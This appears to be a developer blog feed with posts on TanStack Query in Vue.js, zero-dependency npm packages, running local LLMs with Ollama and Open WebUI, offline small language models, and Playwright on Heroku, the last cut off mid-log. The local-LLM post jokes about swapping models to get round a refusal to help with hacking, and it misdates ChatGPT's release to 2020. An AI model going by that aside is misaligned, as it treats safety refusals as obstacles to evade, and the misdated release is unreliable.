
  Promise.all(subtests).then(resolve);

  await promise;
});

Node.js Promise.withResolvers API version limitations

The Promise.withResolvers API is available in Node.js v22.0.0 and later. If you’re using an older version of Node.js, you can’t use this API directly.

Supercharging Your Vue.js 3 App with TanStack Query: A Practical Refactoring Guide

Sun, 11 Aug 2024 00:00:00 GMT

Hey there fellow Vue.js enthusiasts! 👋 Ever found yourself wrestling with data fetching in your Vue.js 3 app? You know, that moment when you’re staring at your fetch() calls, thinking, “There’s gotta be a better way to handle this mess of loading states, caching, and updates!” Well, grab your favorite caffeinated beverage, because we’re about to get on with transforming your data fetching game with TanStack Query.

This is also my first time using TanStack Query because I wanted to get server updates working and decided that frontend polling is a good-enough solution for that.

Before we dive in though, here’s the fetch frustration in a nutshell:

async fetchArticles() {
  try {
    this.isLoading = true;
    const response = await fetch('/api/articles');
    const data = await response.json();
    this.articles = data;
  } catch (error) {
    console.error('Failed to fetch articles:', error);
    this.error = 'Oops! Something went wrong.';
  } finally {
    this.isLoading = false;
  }
}

Sure, it works, but it’s like using a butter knife to cut down a tree. It gets the job done… eventually.

Enter TanStack Query: Your Data-Fetching Superhero

TanStack Query, the one you know from React but also available for Vue.js, is like giving your Vue.js 3 app a superpower. It’s not just about fetching data; it’s about managing your entire data lifecycle with elegance and efficiency. Here’s a taste of what we’re talking about:

Caching: Say goodbye to unnecessary API calls. TanStack Query remembers your data, so you don’t have to.
Background Updates: Keep your data fresh without pestering your users. (I used refetchInterval in this guide, we’ll get to it)
Error Handling: Gracefully handle those pesky network hiccups.
Loading States: No more manual isLoading flags!
Pagination and Infinite Scrolling: Handle complex data scenarios with ease.

And the best part? It plays beautifully with Vue.js 3’s Composition API. It’s like they were made for each other.

In this write-up I’ll walk through a refactor of an articles component from using basic fetch() calls to leveraging the full power of TanStack Query.

Setting Up TanStack Query in a Vue.js 3 Project

First things first, we need to add TanStack Query to our project. Open up your terminal, navigate to your project directory, and run:

npm install --save @tanstack/vue-query

Now that we’ve got the package installed, it’s time to tell Vue about our shiny new toy. We’re going to set up the Vue Query plugin in our app’s entry point.

Typically, in a Vue.js 3 project, you’ll have a src/plugins/index.js file where all your plugins are configured. If you don’t have this file, go ahead and create it. We’re going to modify this file to include TanStack Query.

Here’s what your src/plugins/index.js file should look like after adding TanStack Query:

// src/plugins/index.js

import { loadFonts } from './webfontloader'
import { VueQueryPlugin } from '@tanstack/vue-query'
import vuetify from './vuetify'
import pinia from '../store'
import router from '../router'

export function registerPlugins(app) {
  loadFonts()
  app
    .use(vuetify)
    .use(router)
    .use(pinia)
    .use(VueQueryPlugin)
}

The change we actually did is:

We import VueQueryPlugin from @tanstack/vue-query.
In the registerPlugins function, we add .use(VueQueryPlugin) to the chain of plugin registrations.

If you want to get fancy, you can customize the VueQueryPlugin with some options. For example:

import { VueQueryPlugin } from '@tanstack/vue-query'

export function registerPlugins(app) {
  // ... other plugins
  app.use(VueQueryPlugin, {
    queryClientConfig: {
      defaultOptions: {
        queries: {
          staleTime: 1000 * 60 * 5, // 5 minutes
        },
      },
    },
  })
}

This configuration sets a default staleTime of 5 minutes for all queries. We’ll dive deeper into what this means later, but for now, just know it’s like telling TanStack Query, “Hey, consider my data fresh for 5 minutes before you think about fetching it again.”

To make sure everything’s hooked up correctly, you can add a simple log in your main Vue component:

<script setup>
import { useQueryClient } from '@tanstack/vue-query'

const queryClient = useQueryClient()
console.log('TanStack Query is ready:', !!queryClient)
</script>

If you see “TanStack Query is ready: true” in your console, pop open the champagne (or your beverage of choice) – you’re all set!

Refactoring fetch() in favor of TanStack Query Component

It’s time to take our Articles component and give it the TanStack Query glow-up. We’re going to transform our old-school fetch() implementation into a sleek, reactive data-fetching powerhouse.

Let’s start by looking at our original implementation that uses fetch(). It probably looks something like this:

<template>
  <div>
    <div v-if="isLoading">Loading...</div>
    <div v-else-if="error">Error: {{ error }}</div>
    <v-list v-else>
      <v-list-item
        v-for="articleItem in articlesList"
        :key="articleItem.id"
        :title="articleItem.title"
        :value="articleItem.value"
      >
        <!-- Article item content -->
      </v-list-item>
    </v-list>
  </div>
</template>

<script setup>
import { ref, onMounted } from 'vue';
import { fetchArticles } from "@/services/ContentOps.js";

const articlesList = ref([]);
const isLoading = ref(false);
const error = ref(null);

const refreshArticles = async () => {
  isLoading.value = true;
  error.value = null;
  try {
    const response = await fetchArticles();
    articlesList.value = response.data.map((article) => ({
      id: article.id,
      title: article.title,
      value: article.id,
      // ... other properties
    }));
  } catch (err) {
    error.value = err.message;
  } finally {
    isLoading.value = false;
  }
};

onMounted(refreshArticles);
</script>

This works, but it’s like using a flip phone in the age of smartphones. Let’s upgrade!

Let’s refactor this component using TanStack Query’s useQuery hook. Prepare to be amazed by how much cleaner and more powerful our code becomes 😆

<template>
  <div>
    <div v-if="isPending">Loading...</div>
    <div v-else-if="isError">Error: {{ error.message }}</div>
    <v-list v-else>
      <v-list-item
        v-for="articleItem in data"
        :key="articleItem.id"
        :title="articleItem.title"
        :value="articleItem.value"
      >
        <!-- Article item content -->
      </v-list-item>
    </v-list>
  </div>
</template>

<script setup>
import { useQuery } from '@tanstack/vue-query';
import { fetchArticles } from "@/services/ContentOps.js";

const { isPending, isError, data, error } = useQuery({
  queryKey: ['articlesList'],
  queryFn: async () => {
    const response = await fetchArticles();
    return response.data.map((article) => ({
      id: article.id,
      title: article.title,
      value: article.id,
      // ... other properties
    }));
  },
});
</script>

Sleek, ain’t it? Here’s what’s going on…

The useQuery hook is the star of our refactoring show. It takes an object with two crucial options:

queryKey: This is like a unique ID for our query. Here, we’re using ['articlesList']. TanStack Query uses this key for caching and invalidation. If you had different types of article lists, you might use keys like ['articlesList', 'featured'] or ['articlesList', 'recent'].
queryFn: This is our data fetching function. It’s similar to our old refreshArticles function, but now it’s integrated directly into the query configuration. TanStack Query will call this function when it needs to fetch or refetch the data.

What is really cool about TanStack Query is that it doesn’t aim to replace your existing data fetching logic. You can keep using fetch() or axios or whatever you like. TanStack Query just helps you manage the data lifecycle in a more efficient and declarative way.

Handling Loading and Error States in the Template

Notice how our template has been simplified:

isPending replaces our manual isLoading ref.
isError and error are provided directly by the query, no need to manage them ourselves.
We can directly use data in our v-for loop, no need for a separate articlesList ref.

TanStack Query manages all these states for us, making our component much more declarative and easier to reason about.

Adapting the UI for Query States

Now that we’ve got TanStack Query humming along in our Vue.js app, let’s polish our UI to take full advantage of those sweet, sweet query states.

Remember our old friend, the loading spinner? Well, it’s about to get an upgrade. Let’s revamp our template to handle isPending and isError states with style:

<template>
  <div>
    <v-skeleton-loader
      v-if="isPending"
      type="article, article, article"
      :loading="isPending"
    >
      <v-card>Loading...</v-card>
    </v-skeleton-loader>

    <v-alert
      v-else-if="isError"
      type="error"
      :title="error.name"
    >
      {{ error.message }}
    </v-alert>

    <v-list v-else>
      <v-list-item
        v-for="articleItem in data"
        :key="articleItem.id"
        :title="articleItem.title"
        :value="articleItem.value"
      >
        <!-- Article item content -->
      </v-list-item>
    </v-list>
  </div>
</template>

We’re using Vuetify components to create a more engaging loading state with v-skeleton-loader and a informative error state with v-alert. Your users will appreciate the polish!

Notice how our v-for loop is now directly using data from the query result. No more manual state management! This is the power of TanStack Query – it gives you the data when it’s ready, and handles all the intermediate states for you.

Handling User Interactions

First, let’s add a filter toggle to our component:

<template>
  <div>
    <v-switch
      v-model="filterMyArticles"
      label="Show only my articles"
      @change="onMyArticlesFilter"
    ></v-switch>

    <!-- ... rest of the template ... -->
  </div>
</template>

<script setup>
import { ref } from 'vue';
import { useQuery } from '@tanstack/vue-query';
import { fetchArticles } from "@/services/ContentOps.js";

const filterMyArticles = ref(false);

const { isPending, isError, data, error } = useQuery({
  queryKey: ['articlesList', { filterOnlyMyArticles: filterMyArticles.value }],
  queryFn: () => fetchArticles(null, { filterOnlyMyArticles: filterMyArticles.value }),
});

function onMyArticlesFilter() {
  // The query will automatically refetch when filterMyArticles changes!
}
</script>

Here’s where the magic happens. We’ve added filterOnlyMyArticles to our query key. When this value changes, TanStack Query knows it needs to refetch the data. No manual refetching required.

The queryKey is like a unique identifier for your query. When any part of it changes, TanStack Query assumes the data needs to be refreshed. It’s a simple yet powerful way to handle dynamic queries.

Alright, we’ve got our query up and running, but let’s make sure we’re following best practices to keep our app slick and performant.

Organizing Query Functions and Hooks

As your app grows, you’ll want to keep your queries organized. Here’s a pattern we can follow:

Create a hooks folder in your src directory.
For each major feature, create a file like useArticles.js:

// src/hooks/useArticles.js
import { useQuery } from '@tanstack/vue-query';
import { fetchArticles } from "@/services/ContentOps.js";

export function useArticles(filterOnlyMyArticles) {
  return useQuery({
    queryKey: ['articlesList', { filterOnlyMyArticles }],
    queryFn: () => fetchArticles(null, { filterOnlyMyArticles }),
    staleTime: 5 * 60 * 1000,
  });
}

Now you can use this hook in any component:

<script setup>
import { ref } from 'vue';
import { useArticles } from '@/hooks/useArticles';

const filterMyArticles = ref(false);
const { isPending, isError, data, error } = useArticles(filterMyArticles);
</script>

This approach keeps your components clean and your queries reusable!

Performance Implications and Optimizations

TanStack Query is pretty smart out of the box, but here are some tips to squeeze out even more performance:

Use staleTime: This tells TanStack Query how long data should be considered fresh. Set it higher for data that doesn’t change often.

Prefetching: If you know the user is likely to need certain data soon, prefetch it:

const queryClient = useQueryClient();
queryClient.prefetchQuery(['articlesList', { filterOnlyMyArticles: true }], 
  () => fetchArticles(null, { filterOnlyMyArticles: true }));

Pagination: For large datasets, use the useInfiniteQuery hook to implement efficient pagination or infinite scrolling.

Error Handling and Retry Strategies

TanStack Query has built-in retry logic, but you can customize it:

useQuery({
  queryKey: ['articlesList'],
  queryFn: fetchArticles,
  // Will retry failed requests 3 times before displaying an error
  retry: 3,
  // Exponential back-off strategy
  retryDelay: attemptIndex => Math.min(1000 * 2 ** attemptIndex, 30000),
});

For more specific error handling, you can use the onError callback:

useQuery({
  queryKey: ['articlesList'],
  queryFn: fetchArticles,
  onError: (error) => {
    if (error.response && error.response.status === 401) {
      // Handle unauthorized error, maybe redirect to login
    }
  },
});

Wrapping Up

And there you have it, folks! We’ve taken our Vue.js app (well, mine technically 😅) from manual data fetching to a TanStack Query powerhouse. I quite enjoyed how short and easy was the refactor, to be honest.

Zero Dependency JavaScript is the Future?

Wed, 24 Jul 2024 00:00:00 GMT

The JavaScript ecosystem is well known for its use of small packages (left-pad anyone?) and being a huge repository spanning more than 3 million open-source packages but what if we could build our JavaScript applications without any dependencies? Are we seeing a trend towards zero dependency JavaScript? what does it mean for the future of the JavaScript development, its impact on security, and the overall developer experience?

The AXObject Query controversy: backwards compatibility vs modern JavaScript

On June 22nd, a code change through a merged pull request from ljharb landed on the axobject-query GitHub repository. The goal with this update was to restore backwards compatibility that was unknowingly broken by a previous code change that switched dependencies to the dequal package.

The package maintainer for AXObject agreed handing over the project’s maintenance with expectations for ljhrab making the necessary changes to restore the compatibility with older versions of Node.js, specifically Node.js 0.4. Yet, this changed introduced a new controversy in the JavaScript ecosystem.

Specifically, this pull request replaced some packages like the Jest testing framework with tape and other dependencies such as object.values, and deep-qual-json (that replaced dequal). While changing dependencies and switching versions and toolchains in and out is nothing special in the JavaScript ecosystem, this change was different.

From Jordan’s (ljharb) perspective, the goal of this pull request is to backport the axobject-query package to be compatible with older and unsupported versions of Node.js that are now effectively out of maintenance and deemed as EOL (End of Life) by the Node.js project. However, at what cost?

The new changes introduced by the pull request, which aimed to support Node.js 0.4 resulted in the growth of the third-party dependency tree of the axobject-query package. Specifically, introducing the deep-equal-json adds 16 new nested dependencies:

Finally, Jordan only merged the Node.js 0.4 backward compatibility changes to the v3 branch of the axobject-query package, leaving the main branch with dequal.

What is the problem with a large dependency tree?

Generally speaking, npm packages help us build a maintainable and modular application by breaking down the code into smaller, reusable, and testable units. The open and open-source JavaScript ecosystem greatly benefits from this modular approach and advocates for it.

However, some would argue the more dependencies we introduce into our projects, the more potential burden we add to our applications. This burden can manifest in various ways:

Speed: The more dependencies we have, the longer it takes for the npm package manager to install them. It amounts to many HTTP requests, bandwidth, and can result in a slow down the development process and CI/CD pipelines, as well as end-users consumers that rely on a package. Especially for command-line applications that rely on the npx <command> pattern.
Storage: The more dependencies we have, the more disk space we need to store them. npkill is a day-to-day use CLI that really portrays the issue of a growing node_modules/ folder, often times to gigabytes of size.
Maintenance: The more dependencies we have, the more maintenance we need to do. We need to keep track of the dependencies, their versions, and their potential vulnerabilities. We need to update them regularly to benefit from the latest features, bug fixes, and security patches. We need to test them to ensure they work as expected and don’t introduce regressions. We need to fix them if they break our applications. We need to remove them if they are no longer needed. We need to document them to help other developers understand how they work and how they can be used. We need to contribute to them if we find bugs or want to add new features. We need to review them to ensure they meet our quality standards and don’t introduce any potential vulnerabilities. So bottom line, a lot of work :-).
Security: A bigger dependency tree would often mean bigger potential for security vulnerabilities we introduce into our applications due to more code written by others who expand the application surface in potentially insecure code. A growth in dependency tree could also potentially translate to more individual maintainers who publish them, which means more reliance, trust, and hope that they all follow good security practices (enabling 2FA, not leaking or reusing secrets, etc).

Zero dependency vs mere 3 new dependency addition

A follow-up pull request to a different repository of Jordan’s demonstrate the different between a zero dependency surface of an npm package (its size, among other traits), and the addition of new dependencies.

The traverse package transform objects by visiting every node on a recursive walk. In version 0.6.8, it is a small package with zero dependencies. However, in version 0.6.9, it introduces 3 new dependencies:

Those mere 3 dependencies transformed the traverse npm package from a zero dependency to the following dependency tree (on the right):

This change introduces real-world implications on the size of the package, the number of dependencies, and the fetch time for this package:

The package size increased to 65.7KB (from 4KB)
The download time over a slow connection increased to 362ms (from 30ms)

These are significant orders of magnitude changes that can impact the developer experience, the end-user experience, and the overall performance of the application.

The rise of zero dependency JavaScript

Concerned with the new traverse change, Puru Vijay of the Svelte team, introduced neotraverse (with a matching version structure too, i.e: 0.6.9) to provide a zero dependency alternative to the traverse package. The neotraverse package is a drop-in replacement for the traverse package and provides the same functionality without any dependencies.

It’s a drop-in replacement, ESM-first, no polyfills and while still maintaining the original traverse API, is aimed at being fast (and of course dependencies free).

Whether neotraverse get picked up by developers, or serve as a social experiment, it none-the-less an important voice of developers and maintainers in the JavaScript ecosystem who want to move towards modern JavaScript capabilities (ESM-only), and respect low or zero dependency future.

SvelteKit maintainer, Ben McCann made a similar zero dependency change with svelte-preprocess which gets more than 400,000 weekly downloads, making its impact on downstream users and upstream consumers significant for DX:

Who is using Node.js 0.4 ?

The Node.js 0.4 version was released on 2011-02-10 and have long been considered EOL (End of Life) by the Node.js project.

To the naked eye, and intuitively, many developers will shake off any support needed or real-world cases of Node.js 0.4 running in production, but what about the numbers?

Node.js runtime download metrics show that Node.js v0.4 total downloads from 2014 to July 2023 are at about 120,000. The average daily download count is merely 25/day. Over a period of 7 months for the year of 2023 account for 4,226 downloads. Is that enough to support the case for over a decade old versions of Node.js? Whether that is even practical for every npm package, or are there better ways of doing so, is a different question.

The source for Node.js downloads metrics is available at: https://nodejs.org/metrics.

Update: Matteo Collina, provided me with a newer Node.js download statistics source that is up to date here: https://nodedownloads.nodeland.dev.

More efforts towards a zero dependency JavaScript world

One random example is Biome’s maintainer Superchupu, who proposed to replace the popular globby package with fdir and picomatch, both having 0 dependencies and are faster than globby:

Next example comes from Pascal Schilp who shared a post about using codemods to replace third-party dependencies that are associative with the left-pad incident - they’re mostly providing fundamental code that is concise and was used in the past due to missed features in the JavaScript language but no longer the case:

And finally, the e18e project is an initiative in the JavaScript ecosystem with aim to clean up the dependency tree of popular npm packages with stale, out of date, and a focus on speed and performance improvements.

Conclusion

The rise of zero dependency packages like neotraverse and the controversy around the axobject-query package demonstrate the different perspectives and trade-offs that developers and maintainers need to consider when building and maintaining JavaScript applications.

We’re yet to see if zero dependency JavaScript is a moment-in-time trend or a long-term shift in the JavaScript ecosystem. Perhaps the new ESM vs CJS module support will also fuel the zero dependency trend as maintainers will not be keen to take on the burden of dual module system support, and will opt for the modern ESM-only approach, for which they may not find ESM-only modules to be compatible with.

One last note on Node.js runtime versions: The Node.js project has a long-term support (LTS) schedule that provides a stable and secure platform for developers to build and deploy their applications on. You should aim to always use the latest LTS version of Node.js to benefit from the latest features, bug fixes, and security patches.

How to run a local LLM for inference with an offline-first approach

Mon, 15 Jul 2024 00:00:00 GMT

The Large Language Model (LLM) hype train is in full swing even two years after the release of the ChatGPT app by OpenAI on November 2020. LLMs have revolutionized the field of natural language processing and are now being used in a wide range of applications, from chatbots to code generation (a la GenAI and what you’ve come to know as GitHub Copilot). However, running an LLM can be computationally expensive, or incur high subscription costs if LLMs are the underlying engine of your business. There are, of course, other reasons that warrant running an LLM locally, such as data leak and privacy concerns of LLMs, but this article will focus specifically on the task of how to run a local LLM for inference.

To set the stage first, let’s define what an LLM is, how it works, and what are some of its components.

What is a Large Language Model (LLM)?

An LLM is a type of machine learning model that is trained on a large amount of text data. Three key pieces make up LLMs and they are (1) the data which the model is trained on; (2) the architecture of the model (such as Transformer, GPT, BERT, etc.), and (3) the training process. With each iteration of training, the model learns to generate text by predicting the next word in a sequence of words, sequentially improving itself until it ends up generating text that is indistinguishable from human-written text - coherent and contextually relevant.

What is inference?

Inference is the process of using a trained model to generate text. In essence, you can think of inference as another iteration of its last training state but now it handles live data, where the goal is the model’s ability to generate text based on the information it has learned during training. In the context of LLMs, inference involves feeding a prompt to the model and having it generate text based on the prompt. The model generates text by predicting the next word (technically, a token) in the sequence.

How to run a local LLM for inference

There are several tools that wrap LLMs and provide the ability to run them locally and interact with them (the inference process, as we described above), most notably these are:

Ollama: the ollama open-source project has installers for macOS, Windows, and Linux. It is a simple and easy-to-use tool that allows you to run LLMs locally and interact with them via a command-line interface (CLI) for the chat aspect. Ollama supports several LLM models such as Llama 3, Phi3, Gemma, mistral and others. It is by far the easiest way to run an LLM locally for inference if you are looking for a simple CLI tool. Bonus, the Ollama tool also provides a REST API with similar signature as that of OpenAI API and also features a Docker image for easy deployment.
Open WebUI: this was formerly known as Ollama WebUI but has since been renamed to Open WebUI. Open WebUI, another open-source project, featuring a rich ChatGPT-like interface with options to provide context through file upload, includes a UI for a chat interface, saved history, as well as downloading and managing LLM models.
Chatty UI: a new open-source project by Addy Osmani and Jake Hoeger, Chatty UI is a web-based LLM tool that not only allows you to run LLMs locally but is also entirely built and based on the browser for the inference due to the WebGPU API. This opens a great new way to run LLMs natively in the browser (they are downloaded to the browser cache and IndexDB) and no other software installation is required.
Llama.cpp: llama.cpp is a C++ library that allows you to run LLMs locally and interact with them via a command-line interface (CLI). It is a more advanced tool than Ollama and provides more control over the LLMs you run locally and is aimed at having better performance. Llama.cpp supports several LLM models such as Llama 3, Phi3, Gemma, mistral and others. It is a great tool if you are looking for more control over the LLMs you run locally and more specifically will be useful if you plan to interface with LLMs over library bindings in C++.
LM Studio: the LM Studio is another all-in-one rich web interface and LLM management tool that allows you to run LLMs locally from Hugging Face marketplace and interact with them via a web-based interface. LM Studio however, is not open-source.

All of these projects are open-source and free to use.

The way that I have been experimenting with an offline-first approach to running LLMs locally is by combining the Ollama tool with the Open WebUI project. This allows me to run LLMs locally and manage that through the Ollama installer, and for the rich UI interaction part I use Open WebUI that exposes an intuitive ChatGPT-like web-based interface. This is made especially accessible because the Open WebUI project allows to specify a remote REST API for the inference process, so you can plug it into the stock OpenAI API or a locally running LLM, which in my case, that’s Ollama.

How to install Ollama

Getting Ollama up and running is a breeze. You can install Ollama by following these steps:

Go to the Ollama open-source project on GitHub and download the installer for your operating system. In my case it’s a macOS installer and you end up with a Ollama-darwin.zip artifact after downloading.
Extract the downloaded zip file and you will find the Ollama binary inside the extracted folder.
Copy the Ollama binary to your macOS Application folder and run it from there.

Once you run the Ollama installer from the Application folder you’ll get the first-time setup wizard which guides you through to installing the ollama command-line tool in your path. After the installation is complete, you can run the ollama command from the terminal to start the Ollama tool. As easy as:

ollama run llama3

If you want a smaller model you can run the 128k context window version of the Phi3 model from Microsoft Research by running ollama run ollama run phi3:3.8b-mini-128k-instruct-q4_1.

And just like that, you have a local LLM running on your machine. Here’s how it looks:

As you can see, this model is quite biased and censored so we can’t easily get it to help us hack the planet. But, good thing we can run any model we want, eh? ;-)

How to install Open WebUI

So yeah, you can keep interacting with your LLM model of choice via the Ollama CLI interface but that’s not really sustainable for a long time use. That’s where the Open WebUI project comes in. You can install Open WebUI using the Docker image provided by the project. As easy as running this one-off command:

docker run -d -p 3000:8080 -e WEBUI_AUTH=False --add-host=host.docker.internal:host-gateway -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:main

And then you can access the Open WebUI interface by navigating to http://localhost:3000 in your browser. Here’s how it looks:

The above Docker command uses the command-line flags to do the following:

Start a local server on port 3000 (bound to the internal 8080 port of the Open WebUI application running inside the container)
Disable authentication for the Open WebUI interface (by setting WEBUI_AUTH=False environment variable)
Add a host entry to the container so that it can communicate with the host machine (by setting --add-host=host.docker.internal:host-gateway)
Mount a volume to store the data generated by the Open WebUI application (by setting -v open-webui:/app/backend/data)
Runs in the background

Local-first Code Assistants

Some emerging tooling in this space, if you wish to swap out enterprise-level code assistants like GitHub Copilot, OpenAI Codex, or Google’s Gemini, are:

Continue.dev for the overall IDE integration, ollama as a local LLM inference and model management, and deepseek-coder 6.7b for the model.
The Codestral model has also been gaining traction in the local-first code assistant space, and you can test it in the HugginFace model hub.

Conclusion

I highly recommend you experiment with local-first LLMs for your general-purpose chat, code generation, and other text-based tasks. It’s a great way to learn about the inner workings of LLMs and how they are used in practice. The ecosystem support is very mature with great developer experience tooling and the tools I mentioned in this article are a great starting point for running LLMs locally.

That’s it. Hack the planet!

GenAI Predictions and The Future of LLMs as local-first offline Small Language Models (SLMs)

Wed, 12 Jun 2024 00:00:00 GMT

We’ve been increasingly accustomed to subscription-based economic model, which did not skip the GenAI hype, but there are other costs to online remote LLMs and the future, I believe, is in offline Small Language Models (SLMs). That is, until our local devices are capable enough to hosting Large Language Models (LLMs) locally, or the architecture enables hybrid inference.

From Midjourney, taking the world by storm to generate visual content, to ChatGPT itself and other GenAI and LLM use-cases, all fall into the business model of a subscription service. Surprising? not really, given that the tech industry is obsessed with SaaS ever since Salesforce CEO Marc Benioff have championed it nonstop.

However, running GenAI tools in a subscription-based model has more hidden costs than just recurring billing invoices to pay, and this is what I want to discuss in this article and why the future of LLMs lies in an offline-first inference capability approach, perhaps pioneered first with Small Language Models (SLMs) until hardware catches up.

I’m seeing more and more validation and use-cases for running private, local-first LLMs.

The hidden costs of online third-party LLMs

Let’s break-down the hidden costs of online, remote hosted LLMs, and the challenges of wide-spread adoption that concern business leaders. Most specifically, these issues are centered around the problem of the GenAI service being hosted and owned by a third-party, and the implications of that. As such, there are security risks, such as prompt injection, that are orthogonal to the decision of self-hosting or using a third-party service.

1. Privacy

The most obvious cost of online, remotely hosted LLMs by a third-party is privacy.

Whether you’re using a GenAI code assistant tool like GitHub Copilot, or having a general-purpose chat session with OpenAI’s ChatGPT or Google’s Gemini, you’re sending your data to a remote server, which is then processed by the LLM, and the results are sent back to you. This is a privacy nightmare, especially when you consider the fact that LLMs are trained on vast amounts of data, including personal information. Suddenly, concerns such as the following arise:

Do these companies use the data I send to them for training their models further?
What if the data I send to them is sensitive? PII data, or confidential information?
What if the data I send to them is proprietary? Will they use it to their advantage? Or worse, could that data leak into the model and then shared with my competitors?

To solve the really challenging and deeply-rooted business problems, you need to provide that very sensitive data to the LLM as context. Yet doing so, is a hard pill to swallow for many business leaders, especially in the financial, healthcare, and legal sectors. Tech companies are often early adapters, but even they are not rushing too quickly to adopt code assistant tools like Copilot, exactly for these reasons.

2. Security

When it comes to security aspects of using a third-party LLM service, the main concern involves the service provider which becomes an external attack surface.

Your organization’s attack surface expands to include the service provider’s infrastructure and systems, being OpenAI and Anthropic as primary examples. Any security vulnerabilities or misconfigurations in the service provider’s environment could potentially be exploited by attackers to gain unauthorized access or conduct other malicious activities. These risks directly impact their customers - you.

Have doubts on how probable security issues are for OpenAI? Let’s review a few:

Here’s OpenAI write-up from March 2023 on ChatGPT first security breach and outage. The underlying issue was due to the open-source Redis client library redis-py. Sonatype offered a detailed analysis on the redis-py vulnerability.
The redis-py vulnerability was also a contributor to ChatGPT account takeover attacks.

More chatter on Reddit discussion with regards to security concerns of third-party hosted LLMs is also worth reviewing.

3. Data leakage

From a developer perspective, a generative AI code assistant took like GitHub Copilot feels like magic sometimes, and a lot of that is due to the fact that it has access to the project’s code as context, which allows it to generate code that is more relevant and accurate. At the same time, this also means that the code you’re working on is sent to a remote server, which is then processed by the LLM on GitHub servers.

It’s not just code you and your colleagues are working on that is sent to the remote server, but also the sensitive API tokens, certs, password and other information that lives in the code project on those .env files and configuration files.

4. Latency and availability

As LLM usage increase as a foundational API for many applications, the latency and availability of the service become a critical factor. In some business cases, the latency of the service can be a deal-breaker, or a make-or-break factor for the user experience and the overall capability of the application.

For example, if you’re building a real-time chatbot to replace support, telemarketing and such, you can’t afford to have a high latency, as it will make the conversation feel unnatural and frustrating for the user. For a text-based conversation, that to an extent is somewhat tolerable, but what about the future of voice-based conversational AI? The latency will be even more critical and easily noticeable.

Availability is another issue and not one to be taken lightly. LLM services can get disrupted, even with major players like OpenAI, Google, and Microsoft. From an operational perspective, it’s not a question of if, but when, the service will be disrupted. And when it does, it can have a cascading effect on the applications that rely on it, causing a domino effect of failures.

In fact, here’s the past 90 days availability of OpenAI services, as reported by status.openai.com and in adjacent to writing this blog post:

On June 4th, 2024, ChatGPT had an outage that last for a few hours during Tuesday and impacted ChatGPT. Previously, this happened in November 2023 when a ChatGPT outage lasted for 90 minutes and included disruption of OpenAI API services too.

The rise of offline Small Language Models (SLMs)

Developers and tech workers in general, are often characterized as owners of very capable hardware and these days a house-hold MacBook Pro and other laptops can easily run an 8B parameters Small Language Model (SLM) locally with good inference speed. This is a game-changer, as it allows developers to run LLMs locally, without sending their data to a remote server, and without having to worry about the privacy, data leak, and security implications of doing so.

From Ollama, to llama.cpp and other open-source projects, the rise of offline-powered LLM inference is growing in adoption.

Predictions and future outlook

Local-first, Hybrid-capable and Edge-inference LLMs: The future of LLMs is in local-first offline inference, with a hybrid-capable remotely hosted over a network, and edge-inference deployed LLMs.
Open-source & Open LLMs: The pre-training of LLMs will be done by large tech companies, but the fine-tuning phase and deployment will be done by developers and businesses, due to being less costly and demonstrating great ROI. Foundational pre-trained models will be open-sourced and available for fine-tuning, deployment, and scrutiny of the model’s training data, weights and biases.
Consumer-grade GPU acceleration: The widespread adoption of local-first inference will further push GPU acceleration and inference compute capabilities to exist as a first-class hardware in consumer-grade devices. Just as we’re taking GPS and WiFi chips for granted in end-user consumer devices, we’ll take GPU acceleration for granted in the future.
Micro Fine-Tuning model training: Fine-grained model training is already becoming a norm, with a model like deepseek-coder 6.7b which is fine-tuned for specific code generation tasks. My prediction here is that the next evolution of this will be micro fine-tuning (MFT) which will create even more specialized models such as a code generation model for specific languages (JavaScript, or Python) and specialized frameworks and tooling (think React, or Django).

Where we go from here is a future where LLMs and GenAI are not just a tool for developers, but a tool at everyone’s disposal and widely deployed. Hopefully in a more resilient, secure, privacy-aware, and responsible manner.

Installing Playwright on Heroku for Programmatic Node.js Browser Automation

Fri, 31 May 2024 00:00:00 GMT

Installing Playwright on Heroku is a bit more involved than just running npm install playwright and npm install @playwright/test and setting it as a dependency that gets installed when you deploy your app to Heroku. Installing the browser dependencies didn’t work out of the box for me and I had to do some additional steps to get it working.

I added Playwright web automation capabilities to my Heroku hosted Node.js backend but it wasn’t as seamless as I thought it would be. Here’s how I did it and what I learned along the way.

Adding Playwright as a Dependency

First off, when it comes to the Playwright dependencies, you need both playwright and @playwright/test installed. The former is the core Playwright library and the latter is the test runner that you can use to run your Playwright tests.

If your Playwright use-case isn’t end-to-end testing but rather browser automation and scraping (only from approved websites, of course), you probably need just one browser installed. In my case, I only needed Chromium. So, I switched playwright for playwright-chromium.

npm install playwright-chromium @playwright/test

Playwright Browser Automation via Code

Since I want to run Playwright browser automation tool programmatically via code and not via the classic test runner (although, I do want to run Playwright tests as well), I structured the code so that I separate between the web interaction and the tests being run:

A PageScraper.js file defines the code used to interact with the browser and scrape the data I need.
An e2e/ directory contains the Playwright tests that use the PageScraper.js file to interact with the browser.

This way, I can actually use the PageScraper.js code in my backend API to drive the needed logic, as well as use it as the basis of sanity end-to-end tests.

The PageScraper.js file looks like this:

import { chromium } from "playwright-chromium";

export default class PageScraper {
  constructor({ Logger }) {
    this.Logger = Logger;
  }

  async scrapePage({ url }) {
    const browser = await chromium.launch({ chromiumSandbox: false });
    const page = await browser.newPage();
    await page.goto(url);

    // the title of the blog post in this web page is found via the `txt-headline-large` class on the h1 element:
    const title = await page.$eval(
      ".txt-headline-large",
      (el) => el.textContent
    );

    // the contents of the blog post in this web page is found via the `txt-rich-long` class on the div element:
    const content = await page.$eval(".txt-rich-long", (el) => el.textContent);
    await browser.close();

    return {
      title,
      content,
    };
  }
}

Then the E2E (end-to-end) test file can be as the follows scrapers/page-scraper.spec.js:

import { container, initDI } from "../infra/di";
import { test, expect } from "@playwright/test";

await initDI({ config: {}, database: {} });

test("url provided to scraper gets title and content", async ({ page }) => {
  const scraper = container.resolve("PageScraper");
  const { title, content } = await scraper.scrapePage({
    url: "https://www.example.com",
  });

  // Expect a title "to contain" a substring
  await expect(title).toContain(
    "Title goes here..."
  );

  // Expect the page content to be at least 1000 characters long
  await expect(content.length).toBeGreaterThan(1000);
});

Now we can also further update the package.json section for scripts to allow easily running these tests:

{
  "scripts": {
    "test:scrapers": "npx playwright test scrapers/*.spec.js",
  }
}

Installing Playwright on Heroku

Getting Playwright to work on Heroku wasn’t smooth sailing. It looked for browser dependencies that weren’t installed by default and not in the location it expected them.

So the Heroku Node.js application build failed with errors like this:

remote:        > app-api@1.0.0 postinstall
remote:        > npx playwright install chromium --with-deps
remote:        
remote:        Installing dependencies...
